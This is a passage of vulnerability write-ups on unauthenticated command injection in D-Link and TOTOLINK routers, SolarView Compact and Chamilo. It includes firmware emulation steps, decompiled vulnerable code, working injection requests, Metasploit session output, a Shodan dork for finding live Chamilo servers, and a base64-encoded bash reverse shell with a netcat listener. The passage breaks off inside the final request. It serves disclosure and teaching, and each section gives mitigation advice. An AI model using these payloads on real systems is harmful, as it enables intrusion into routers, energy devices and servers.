/root/FirmAE/./debug.py:7: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
  import telnetlib
[*] firmware - DIR600B6_FW215WWb02
[*] IP - 192.168.0.1
[*] connecting to netcat (192.168.0.1:31337)
[+] netcat connected
------------------------------
|       FirmAE Debugger      |
------------------------------
1. connect to socat
2. connect to shell
3. tcpdump
4. run gdbserver
5. file transfer
6. exit
> 2
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.

/ # uname -a
Linux dlinkrouter 4.1.17+ #28 Sat Oct 31 17:56:39 KST 2020 mips GNU/Linux
/ # hostname
dlinkrouter
/ #

Metasploit module

msf6 exploit(linux/upnp/dlink_msearch_unauth_lan_rce) > options

Module options (exploit/linux/upnp/dlink_msearch_unauth_lan_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     192.168.0.1      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   UPNP_PORT  1900             yes       Universal Plug and Play (UPnP) UDP port
   URIPATH                     no        The URI to use for this exploit (default is random)
   URN        urn:device:1     no        Set URN payload
   VHOST                       no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.


Payload options (cmd/unix/bind_busybox_telnetd):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   LOGIN_CMD  /bin/sh          yes       Command telnetd will execute on connect
   LPORT      4444             yes       The listen port
   RHOST      192.168.0.1      no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Unix Command


View the full module info with the info, or info -d command.

msf6 exploit(linux/upnp/dlink_msearch_unauth_lan_rce) > check

[*] Checking if 192.168.0.1:80 can be exploited.
[*] 192.168.0.1:80 - The target appears to be vulnerable. Product info: DIR-600|2.15|Bx|mipsle
msf6 exploit(linux/upnp/dlink_msearch_unauth_lan_rce) > exploit

[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.0.1:80 can be exploited.
[+] The target appears to be vulnerable. Product info: DIR-600|2.15|Bx|mipsle
[*] Executing Unix Command for cmd/unix/bind_busybox_telnetd
[*] payload: urn:device:1;`telnetd -l /bin/sh -p 4444`
[*] Started bind TCP handler against 192.168.0.1:4444
[*] Command shell session 1 opened (192.168.0.2:41797 -> 192.168.0.1:4444) at 2023-10-16 13:54:53 +0000


Shell Banner:
_!_
-----

# uname -a
uname -a
Linux dlinkrouter 4.1.17+ #28 Sat Oct 31 17:56:39 KST 2020 mips GNU/Linux
# hostname
hostname
dlinkrouter
#

You can find the module here in my local repository or as PR 18463 at the Metasploit Github development.

Mitigation

You should update your D-link network devices listed in this article to the latest available firmware.

References

CVE-2023-33625
CVE-2020-15893
CVE-2019–20215
D-Link DIR-859: UnAuthenticated RCE in ssdpcgi HTTP_ST
The Shadow File: DLink DIR-815 UPnP Command Injection
Multiple Vulnerabilities discovered in the D-link Firmware DIR-816L
D-link DIR-600 cmd injection vulnerability
D-Link UPnP Unauthenticated LAN RCE – h00die-gr3y Metasploit local repository
D-Link UPnP Unauthenticated LAN RCE – Metasploit PR 18463
D-Link Firmware Repository
FirmAE
FirmAE: Towards Large-Scale Emulation of IoT Firmware for Dynamic Analysis

Credits

  • Zach Cutlip
  • Michael Messner <devnull@s3cur1ty.de>
  • Miguel Mendez Z. (s1kr10s)
  • Pablo Pollanco (secenv)
  • Naihsin https://github.com/naihsin

And to all other good fellows who raised this concern ;–)

1
Ratings
Technical Analysis

Zioncom (Hong Kong) Technology Limited is a professional manufacturer for network communication products, including Wireless Router/AP (Indoor & Outdoor) , 4G&5G Router, Wireless Extender, Wireless USB Adapter, Wireless Module, Switch and Wired Router.
They are launching a large portfolio their network products under the brand name TOTOLINK. Despite the fact that they are in the business of developing and designing network products, a lot of their solutions are flawed in terms of security. Dozens of their products and related firmware are subject to buffer overflows and command injections and this CVE is only one of the many out there.

I took this CVE to the focus a bit more on the analysis of firmware and how you test your firmware without having the hardware actually in hand using firmware emulation.
Firmadyne is one of most popular firmware analysis and emulation software and is available in the public domain where you can install it freely on your Linux distribution. Now before you jump in cloning the repository and start the installation, I want to outline two other firmware analysis and emulation tools that probably makes your life a bit easier.
The first one is Firmware Analysis Toolkit (FAT) which is basically a script to automate Firmadyne. If you do not want to bother with complex installation, you can try AttifyOS which has Firmware Analysis Toolkit and other tools pre-installed and ready to use.
The other tool that you can use is called FirmAE which is a fully-automated framework that performs emulation and vulnerability analysis. FirmAE significantly increases the emulation success rate (From Firmadyne’s 16.28% to 79.36%) with five arbitration techniques.

In my case, I settled for FirmAE, because it indeed increases the success rate of firmware emulation considerably. There is a very nice Paper that explains the architecture and techniques used and I would advice you to read this first before jumping into the installation and operation of the tool.

Ok let’s go down to business and do some analysis and emulation with FirmAE.
I installed FirmAE on my Kali Linux distribution (2023.4) using the installation instructions provided on the github page. To emulate the specific firmware that comes with the TOTOLINK X5000R, binwalk need to be able to handle a sasquatch filesystem which requires a bit of additional installation and compilation steps that you can find here. Please do not forget to run this after your FirmAE installation otherwise you will not be able to extract the firmware.

Ok, when everything is installed, let’s download the vulnerable firmware from TOTOLINK here. We need V9.1.0u.6118_B20201102 and V9.1.0u.6369_B20230113.

UPDATE 14 September 2023
I could not reproduce the exploit with X5000R firmware V9.1.0u.6369_B20230113.rar, so please use V9.1.0u.6118_B20201102.zip for your testing.
I have also discovered other TOTOLINK firmware that is vulnerable for the same exploit.

  • Wireless Dual Band Gigabit Router model A7000R with firmware A7000R_V9.1.0u.6115_B20201022.zip
  • Wireless Dual Band Gigabit Router model A3700R with firmware A3700R_V9.1.2u.6134_B20201202.zip
  • Wireless N Router model N200RE V5 with firmware N200RE_V5_V9.3.5u.6095_B20200916.zip and N200RE_V5_V9.3.5u.6139_B20201216.zip
  • Wireless N Router model N350RT with firmware N350RT_V9.3.5u.6095_B20200916.zip and N350RT_V9.3.5u.6139_B20201216.zip
  • Wireless Extender model EX1200L with firmware EX1200L_V9.3.5u.6146_B20201023.zip
  • And probably more looking at the scale of impacted devices :–(

We are now ready to start the emulation. With FirmAE, you have different options such as a check option (-c) to see if your firmware can be emulated or a run option (-r) to emulate your firmware. I always use the debug option (-d) because it gives you the ability to access the firmware via a console for debugging and analysis purposes.
First run ./init.sh to start initialize the Postgress database.
Now run the debug session by running the following command ./run.sh -d TOTOLINK X5000R_V9.1.0u.6118_B20201102.zip
This will take a while, but in the end you should see the following…

TIP: you can speed this up by setting the arbitrary option FIRMAE_ETC in firmae.config to false (however, not necessary to make below work).

# ./run.sh -d TOTOLINK /root/FirmAE/firmwares/X5000R_V9.1.0u.6118_B20201102.zip
[*] /root/FirmAE/firmwares/X5000R_V9.1.0u.6118_B20201102.zip emulation start!!!
[*] extract done!!!
[*] get architecture done!!!
mke2fs 1.47.0 (5-Feb-2023)
mknod: /dev/mem: File exists
mknod: /dev/kmem: File exists
mknod: /dev/null: File exists
mknod: /dev/random: File exists
mknod: /dev/urandom: File exists
mknod: /dev/console: File exists
mknod: /dev/ptmx: File exists
mknod: /dev/ttyS0: File exists
mknod: /dev/ttyS1: File exists
mknod: /dev/ppp: File exists
mknod: /dev/mtd0: File exists
mknod: /dev/mtd1: File exists
mknod: /dev/mtd2: File exists
mknod: /dev/mtd3: File exists
mknod: /dev/mtd4: File exists
mknod: /dev/mtd5: File exists
mknod: /dev/mtd6: File exists
mknod: /dev/mtdblock0: File exists
mknod: /dev/mtdblock1: File exists
mknod: /dev/mtdblock2: File exists
mknod: /dev/mtdblock3: File exists
mknod: /dev/mtdblock4: File exists
mknod: /dev/mtdblock5: File exists
mknod: /dev/mtdblock6: File exists
e2fsck 1.47.0 (5-Feb-2023)
[*] infer network start!!!

[IID] 1
[MODE] debug
[+] Network reachable on 192.168.0.1!
[+] Run debug!
Creating TAP device tap1_0...
Set 'tap1_0' persistent and owned by uid 0
Bringing up TAP device...
Starting emulation of firmware... None false false -1 -1
/root/FirmAE/./debug.py:7: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
  import telnetlib
[*] firmware - X5000R_V9.1.0u.6118_B20201102
[*] IP - 192.168.0.1
[*] connecting to netcat (192.168.0.1:31337)
[-] failed to connect netcat
------------------------------
|       FirmAE Debugger      |
------------------------------
1. connect to socat
2. connect to shell
3. tcpdump
4. run gdbserver
5. file transfer
6. exit 

Now there is an issue that we need to fix first because the network connectivity from the host to the emulated firmware, which is basically a virtual machine, is not working. You can see this because netcat can not connect on 192.168.0.1 and pinging this IP is also not working. In order to fix this, use option 1. connect to socat to access your running firmware and run below commands to check the network configuration.

>1
/ # brctl show
brctl show
bridge name	bridge id		STP enabled	interfaces
br0		8000.525400123458	yes		eth2
/ # ifconfig -a
ifconfig -a
br0       Link encap:Ethernet  HWaddr 52:54:00:12:34:56
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

eth0      Link encap:Ethernet  HWaddr 52:54:00:12:34:56
          BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

eth1      Link encap:Ethernet  HWaddr 52:54:00:12:34:57
          BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

eth2      Link encap:Ethernet  HWaddr 52:54:00:12:34:58
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:33 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:1980 (1.9 KiB)

eth3      Link encap:Ethernet  HWaddr 52:54:00:12:34:59
          BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

ip6tnl0   Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
          NOARP  MTU:1452  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

sit0      Link encap:IPv6-in-IPv4
          NOARP  MTU:1480  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

tunl0     Link encap:UNSPEC  HWaddr 00-00-00-00-D4-7F-2C-6A-00-00-00-00-00-00-00-00
          NOARP  MTU:1480  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

/ # 

In my case, there were two issues, first of all the bridge command showed eth2 instead eth0 and br0 did not have any IP configured.
To fix this, run the following commands below to make the firmware accessible from the host.

/ # brctl addif br0 eth0
brctl addif br0 eth0
/ # brctl show
brctl show
bridge name	bridge id		STP enabled	interfaces
br0		8000.525400123456	yes		eth2
							eth0
/ # ifconfig eth0 up
ifconfig eth0 up
/ # ifconfig br0 192.168.0.1 netmask 255.255.255.0 broadcast 192.168.0.255
ifconfig br0 192.168.0.1 netmask 255.255.255.0 broadcast 192.168.0.255
/ #

You should now be able to ping the network address 192.168.0.1 from your host and run a nmap command to check the services.

# ping 192.168.0.1
PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data.
64 bytes from 192.168.0.1: icmp_seq=1 ttl=64 time=8.92 ms
64 bytes from 192.168.0.1: icmp_seq=2 ttl=64 time=2.38 ms
^C
--- 192.168.0.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 2.384/5.650/8.916/3.266 ms
# nmap 192.168.0.1
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-12 17:44 UTC
Nmap scan report for 192.168.0.1
Host is up (0.011s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE    SERVICE
23/tcp   filtered telnet
80/tcp   filtered http
8080/tcp filtered http-proxy
MAC Address: 52:54:00:12:34:56 (QEMU virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.78 seconds

nmap shows that the web service is up and running on port 80 so it is time to dig into the vulnerability.
Reading the CVE, it talks about command insertion vulnerability in setting/setTracerouteCfg using the command parameter.
Most of the functionality sits in the /cgi-bin/cstecgi.cgi file that you can find in the www directory at the emulated firmware.

/www/cgi-bin # ls -l
ls -l
-rwxrwxr-x    1 root     root           455 Nov  2  2020 ExportSettings.sh
-rwxrwxr-x    1 root     root        251300 Nov  2  2020 cstecgi.cgi
lrwxrwxrwx    1 root     root            15 Nov  2  2020 custom.cgi -> /tmp/custom.cgi
/www/cgi-bin #

To analyze, you can load this IDA or Ghidra to perform some reverse engineering.
I will not dwell on this topic for now, but the vulnerable code resides in the decompiled function below shown in Ghidra where the parameter command is not properly escaped when it is executed using the doSystem command which is basically an OS command call to the underlying Linux OS.

undefined4 FUN_0041f6a0(undefined4 param_1)

{
  undefined2 *param3;
  undefined2 *__nptr;
  int param2;
  char acStack_90 [128];
  
  memset(acStack_90,0,0x80);
  param3 = websGetVar(param_1,"command",(undefined2 *)"www.baidu.com");
  __nptr = websGetVar(param_1,"num",(undefined2 *)0x437f70);
  param2 = atoi((char *)__nptr);
  sprintf(acStack_90,"traceroute -m %d %s&>/var/log/traceRouteLog",param2,(char *)param3);
  doSystem(acStack_90);
  setResponse(&DAT_00436104,"reserv",param2,param3);
  return 1;
}

Besides reverse engineering using Ghidra or IDA, you can use the firmware analysis functionality provided by FirmAE. This is dynamic analysis using fuzzing and actually exploits from tools like Routersploit to find vulnerable code.

Let’s quickly validate if our vulnerable emulated router is vulnerable by sending a malicious POST request with a manipulated command parameter using burpsuite.

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 77
Origin: http://192.168.0.1
Connection: close

{"command":"127.0.0.1; echo cuckoo >/tmp/cuckoo.txt;","num":"200","topicurl":"setTracerouteCfg"}

Below is a valid response.

HTTP/1.1 200 OK
Connection: close
Date: Sun, 13 Sep 2015 16:37:50 GMT
Server: lighttpd/1.4.20
Content-Length: 234

traceroute to 127.0.0.1 (127.0.0.1), 200 hops max, 38 byte packets
 1  localhost.localdomain (127.0.0.1)  4.842 ms  0.195 ms  0.192 ms
{
	"success":	true,
	"error":	null,
	"lan_ip":	"192.168.0.1",
	"wtime":	"0",
	"reserv":	"reserv"
}

However, it is a blind command injection because nothing is returned in the response with regards to a successful command execution.
We have to check this directly on the emulated firmware and as you can see is the file /tmp/cuckoo.txt successfully created.

/tmp # ls -l *.txt
ls -l *.txt
-rw-rw-rw-    1 root     root             7 Sep 13 16:37 cuckoo.txt
/tmp # cat cuckoo.txt
cat cuckoo.txt
cuckoo
/tmp #

A Metasploit module for this exploit is in development.
You can find the module here in my local repository or as PR 18365 at the Metasploit Github development.

Mitigation

You should update your TOTOLINK X5000R router and other vulnerable TOTOLINK network devices listed in this article to the latest available firmware.

References

FirmAE
FirmAE: Towards Large-Scale Emulation of IoT Firmware for Dynamic Analysis
Firmware Analysis Toolkit (FAT)
Firmadyne
CVE-2023-30013
TOTOLINK Unauthenticated RCE – h00die-gr3y Metasploit local repository
Metasploit PR 18365
TOTOLINK X5000R Firmware

Credits

Kazamayc
And to all other good fellows who raised this concern ;–)

1
Ratings
Technical Analysis

With the heat records breaking almost every day around the globe, Solar Energy solutions are becoming rapidly main stream in households around the world. If you look in the street where you live, you will probably find a few neighbors with solar panels installed on their roof and nice little apps that can track you solar energy capacity.
Cool stuff, but as always, when connected to the Internet, you can introduce an entry point for a attacker to hack into your solar energy devices / inverters. Cyble security analysts recently published a nice report that explains the Security Gaps in Green Energy Sector: Unveiling the Hidden Dangers of Public-Facing PV Measuring and Diagnostics Solutions.

One of these energy solution providers is a Japanese company called Contec, that provides Solar Energy solutions to the market. One of their solutions, SolarView Compact has a vulnerability that allows remote code execution on a vulnerable SolarView Compact device by bypassing internal restrictions through the vulnerable endpoint downloader.php using the file parameter. Firmware versions up to v6.33 are vulnerable.

Again a very basic case of using direct system calls in your application code without sanitizing the input parameters properly.

If you analyze downloader.php, you easily can identify the vulnerable code that triggers the remote code execution with a malicious request.
You can retrieve this information by downloading the SolarView Compact firmware v600. You need to register yourself before you can download the firmware svcUpdateV600.fpk.

Run the following commands to access the firmware and extract downloader.php.

# mv svcUpdateV600.fpk svcUpdateV600.gz
# tar -ztvf./svcUpdateV600.gz html/downloader.php
-rwxr--r--  0 nobody nogroup  1986 Dec  7  2018 html/downloader.php
# tar -zxvf./svcUpdateV600.gz html/downloader.php
x html/downloader.php
// downloader.php
<?
if( isset($_REQUEST['file']) ){
    $file = $_REQUEST['file'];
}

//
function get_extend( $filename ){
    $pos = strrpos( $filename, "." );
    return substr( $filename, $pos );
}

//
//
$ext = get_extend( $file );
//
switch( $ext ){
case ".csv":
    break;
case ".jpg":
case ".jpeg":
case ".JPG":
case ".JPEG":
case ".Jpeg":
case ".Jpg":
case ".gif":
case ".GIF":
case ".Gif":
    $path = "/home/www/html/images/";
    break;
case ".zip":
    // $file is not proper sanitized !!!!
    $ARCH_FILE = sprintf("/home/contec/data/%s", $file);
    if( file_exists($ARCH_FILE) ){
        unlink($ARCH_FILE);
    }
    $cmd = sprintf("/usr/local/bin/data_zip.sh %s > /dev/null", basename($ARCH_FILE));
     // Using a direct system call can trigger the RCE !!!!
    system($cmd);
    $file = $ARCH_FILE;
    break;
}
....

A short demonstration below shows how easy it is to trigger the RCE.

Malicious burp request using curl http://TARGET-IP/downloader.php?file=%3Bid%3B.zip

GET /downloader.php?file=%3Bid%3B.zip HTTP/1.1
Host: <TARGET-IP>
User-Agent: curl/7.88.1
Accept: */*
Connection: close

Burp response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.2.17
Content-type: text/html
Connection: close
Date: Wed, 23 Aug 2023 08:09:07 GMT
Server: lighttpd/1.4.28
Content-Length: 1072

5000 rows exported. -> /tmp/history.csv
	zip warning: name not matched: images/slide_monthly_guide.png
	zip warning: name not matched: images/slide_daily_guide.png
zip I/O error: Not a directory
zip error: Could not create output file (/home/contec/data/.zip)
uid=1001(contec) gid=0(root)
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<HTML>
<HEAD>
	<META HTTP-EQUIV="Content-Type" CONTENT="text/css; charset=Shift_JIS">
	<LINK HREF="/css/style1.css" REL="stylesheet" TYPE="text/css">
	<LINK REL="SHORTCUT ICON" HREF="/favicon.ico">
	<TITLE>Error 404</TITLE>
</HEAD>
<BODY>
....

I will leave it to the readers imagination what else you can run then a simple id command, but the underlying Linux armle operating system has a nice rich command set such as nc, wget, bash, python, openssl and base64 that can be leveraged for your RCE.
And as you can see, we already get a little bonus because default the security context of the user contec, which is running the service, is part of the root group that gives us elevated privileges.

A Metasploit module is in development.
You can find the module here in my local repository or as PR 18313 at the Metasploit Github development.

Mitigation

Please update your SolarView Compact application to the latest available firmware which is v8.00 or higher.

References

SolarView Compact
Security Gaps in Green Energy Sector
CVE-2023-23333
SolarView Unauthenticated RCE – h00die-gr3y Metasploit local repository
Metasploit PR 18313

Credits

To all good fellows who raised this concern ;–)

2
Ratings
Technical Analysis

Chamilo is a free software (under GNU/GPL licensing) e-learning and content management system, aimed at improving access to education and knowledge globally. It has been used by more than 30M people worldwide since its inception in 2010.
The following Shodan dork: http.component:"Chamilo" will give you the list of Chamilo installations running in the wild.

Chamilo versions 1.11.18 and below suffers from an unauthenticated remote command execution vulnerability. Due to a functionality called Chamilo Rapid to easily convert PowerPoint slides to courses on Chamilo, it is possible for an unauthenticated remote attacker to execute arbitrary commands at OS level using a malicious SOAP request at the vulnerable endpoint /main/webservices/additional_webservices.php.

It is a classical example of OS command injection (also known as shell injection) that allows an attacker to execute an arbitrary operating system (OS) commands on the server that is running an application, and typically fully compromise the application and all its data.

In the vulnerable file /main/webservices/additional_webservices.php the function wsConvertPpt that can be used to convert a PowerPoint file to courses on Chamilo using a shell command . To use this feature, a SOAP request needs to be performed containing an URL pointing to the PowerPoint file.
In code excerpt below, you can easily identify the command line where the filename is not properly filtered by the function, hence making it vulnerable to command injection when it is called by the exec() function.

function wsConvertPpt($pptData)
{
    global $_configuration;
    $ip = trim($_SERVER['REMOTE_ADDR']);
    // If an IP filter array is defined in configuration.php,
    // check if this IP is allowed
    if (!empty($_configuration['ppt2lp_ip_filter'])) {
        if (!in_array($ip, $_configuration['ppt2lp_ip_filter'])) {
            return false;
        }
    }
    $fileData = $pptData['file_data'];
    $dataInfo = pathinfo($pptData['file_name']);
    $fileName = basename($pptData['file_name'], '.'.$dataInfo['extension']);
    $fullFileName = $pptData['file_name'];
    $size = $pptData['service_ppt2lp_size'];
    $w = '800';
    $h = '600';
    if (!empty($size)) {
        list($w, $h) = explode('x', $size);
    }

    $tempArchivePath = api_get_path(SYS_ARCHIVE_PATH);
    $tempPath = $tempArchivePath.'wsConvert/'.$fileName.'/';
    $tempPathNewFiles = $tempArchivePath.'wsConvert/'.$fileName.'-n/';

    $oldumask = umask(0);
    //$perms = api_get_permissions_for_new_directories();
    // Set permissions the most permissively possible: these files will
    // be deleted below and we need a parallel process to be able to write them
    $perms = api_get_permissions_for_new_directories();
    pptConverterDirectoriesCreate($tempPath, $tempPathNewFiles, $fileName, $perms);

    $file = base64_decode($fileData);
    file_put_contents($tempPath.$fullFileName, $file);

    $cmd = pptConverterGetCommandBaseParams();

/* VULNERABLE CODE */
    $cmd .= ' -w '.$w.' -h '.$h.' -d oogie "'.$tempPath.$fullFileName.'"  "'.$tempPathNewFiles.$fileName.'.html"';

    //$perms = api_get_permissions_for_new_files();
    chmod($tempPathNewFiles.$fileName, $perms);

    $files = [];
    $return = 0;

/* EXEC FUNCTION */
    $shell = exec($cmd, $files, $return);

    umask($oldumask);

By using the SOAP request below, you can trigger the command injection replacing YOUR COMMAND with any Unix OS command.

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://localhost:80/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <SOAP-ENV:Body>
    <ns1:wsConvertPpt>
     <param0 xsi:type="ns2:Map">
      <item>
       <key xsi:type="xsd:string">file_data</key>
       <value xsi:type="xsd:string"></value>
      </item>
      <item>
        <key xsi:type="xsd:string">file_name</key>
        <value xsi:type="xsd:string">`YOUR COMMAND`.pptx</value>
       </item>
       <item>
        <key xsi:type="xsd:string">service_ppt2lp_size</key>
        <value xsi:type="xsd:string">720x540</value>
       </item>
    </param0>
   </ns1:wsConvertPpt>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

I did several tests on a Ubuntu 22.04 server with Chamilo 1.11.18 installed to see which command injections do work and I found three variants so far. Two blind command injections and one command injection that is not blind.

Blind variants:

  • <value xsi:type="xsd:string">`command`.pptx</value>
  • <value xsi:type="xsd:string">|" |command||a #`.pptx'</value>

Non blind variant:

  • <value xsi:type="xsd:string">`{{}}`.pptx'|" |command||a #</value>

Let’s quick demonstrate the non-blind command injection variant with burpsuite on a vulnerable Chamilo installation.

Burp request

POST /chamilo/main/webservices/additional_webservices.php HTTP/1.1
Host: 192.168.201.47
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: text/xml; charset=utf-8
Content-Length: 1031
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
  xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:ns1="/chamilo"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  xmlns:ns2="http://xml.apache.org/xml-soap"
  xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
  SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <SOAP-ENV:Body>
    <ns1:wsConvertPpt>
      <param0 xsi:type="ns2:Map">
        <item>
          <key xsi:type="xsd:string">file_data</key>
          <value xsi:type="xsd:string"></value>
        </item>
        <item>
          <key xsi:type="xsd:string">file_name</key>
                   <value xsi:type="xsd:string">`{{}}`.pptx'|" |echo cuckoo||a #</value>
        </item>
        <item>
          <key xsi:type="xsd:string">service_ppt2lp_size</key>
          <value xsi:type="xsd:string">1310x643</value>
        </item>
      </param0>
    </ns1:wsConvertPpt>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Burp Response

HTTP/1.1 200 OK
Date: Fri, 28 Jul 2023 10:33:56 GMT
Server: Apache/2.4.52 (Ubuntu)
Set-Cookie: ch_sid=0doq0i6i2va7rf61bfq9ksg79u; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 620
Vary: Accept-Encoding
Connection: close
Content-Type: text/xml; charset=utf-8

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
  xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:ns1="http://192.168.201.47/chamilo/main/webservices/"
  xmlns:xsd="http://www.w3.org/2001/XMLSchema" 
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
  xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
  SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
   <SOAP-ENV:Body>
     <ns1:wsConvertPptResponse>
       <return xsi:type="xsd:string">
          a:2:{s:5:"files";a:1:{i:0;s:6:"cuckoo";}s:6:"images";a:1:{s:0:"";s:0:"";}}
       </return>
     </ns1:wsConvertPptResponse>
   </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Now let’s do a proper command injection and spawn a remote shell.
Let’s take a bash reverse shell: bash -i >& /dev/tcp/192.168.201.10/4444 0>&1
To avoid any issues with bad characters, we will encode the payload with base64 and decode it again during execution.

# echo -n "bash -i >& /dev/tcp/192.168.201.10/4444 0>&1"|base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMS4xMC80NDQ0IDA+JjE=
# nc -lnvp 4444
listening on [any] 4444 ...

bash reverse shell burp request

POST /chamilo/main/webservices/additional_webservices.php HTTP/1.1
Host: 192.168.201.47
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: text/xml; charset=utf-8
Content-Length: 1084
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
  xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:ns1="/"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  xmlns:ns2="http://xml.apache.org/xml-soap"
  xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
  SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <SOAP-ENV:Body>
    <ns1:wsConvertPpt>
      <param0 xsi:type="ns2:Map">
        <item>
          <key xsi:type="xsd:string">file_data</key>
          <value xsi:type="xsd:string"></value>
        </item>
        <item>
          <key xsi:type="xsd:string">file_name</key>
